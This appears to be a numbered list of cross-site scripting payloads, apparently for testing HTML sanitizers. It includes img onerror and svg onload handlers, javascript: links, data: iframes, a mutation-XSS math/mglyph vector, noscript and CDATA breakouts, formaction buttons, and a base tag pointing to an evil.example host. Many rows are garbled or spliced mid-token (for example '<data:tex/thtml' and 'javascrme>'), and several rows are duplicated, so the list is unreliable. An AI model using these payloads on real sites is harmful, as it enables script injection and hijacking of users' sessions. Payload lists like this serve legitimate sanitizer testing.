| 1 |
<img src=x onerror=alert(1)> |
| 2 |
<svg/onload=alert(1)> |
| 3 |
<a href="javascript:alert(1)">x</a> |
| 4 |
<iframe src="data:text/html,<script>alert(1)</script>"></iframe> |
| 5 |
<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)> |
| 6 |
<data:tex/thtml,<script>alert(1)</script>"></iframe> |
| 7 |
<mat.h src=x onerror=alert(1)> |
| 8 |
<svg/onload=alert(1)> |
| 9 |
<a href="javascript:alert(1)">x</a> |
| 10 |
<iframe src="data:text/html,<script>alert(1)</script>"></iframe> |
| 11 |
<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)> |
| 12 |
<data:tex/thtml,<script>alert(1)</script>"></iframe> |
| 13 |
<mat.h><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)> |
| 14 |
<noscript><p title="</noscript><img src=x onerror=alert(1)>"> |
| 15 |
<![CDATA[<script>alert(1)</script>]]> |
| 16 |
<form><button formaction="javascript:alert(1)">x</button></form> |
| 17 |
<base href="//evil.example/"> |
| 18 |
<a href="javascript:alert(1)">enoscript><p title="</noscript><img src=x onerror=alert(1)>"> |
| 19 |
<![C><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)> |
| 20 |
<noscript><p title="</noscript><img src=x onerror=alert(1)>"> |
| 21 |
<![CDATA[<script>alert(1)</script>]]> |
| 22 |
<form><button formaction="javascript:alert(1)">x</button></form> |
| 23 |
<base href="//evil.example/"> |
| 24 |
<a href="javascript:alert(1)">enoscript><p title="</noscript><img src=x onerror=alert(1)>"> |
| 25 |
<![CDATA[<script>alert(1)</script>]]> |
| 26 |
<form><button formaction="javascrme> |
| 27 |
<mat.h><mtext><table><mg(1)">enoscript><p title="</noscript><img src=x onerror=alert(1)>"> |
| 28 |
<![CDATA[<script>alert(1)</script>]]> |
| 29 |
<form><button formaction="javascript:alert(1)">x</button></form> |
| 30 |
<base href="//evil.example/"> |
| 31 |
<a href="javascript:alipt:alert(1)">x</button></form> |
| 32 |
<base href="//evil.example/"> |
| 33 |
<a href="javascript:alert(1)">entity-escaped scheme</a> |
| 34 |
|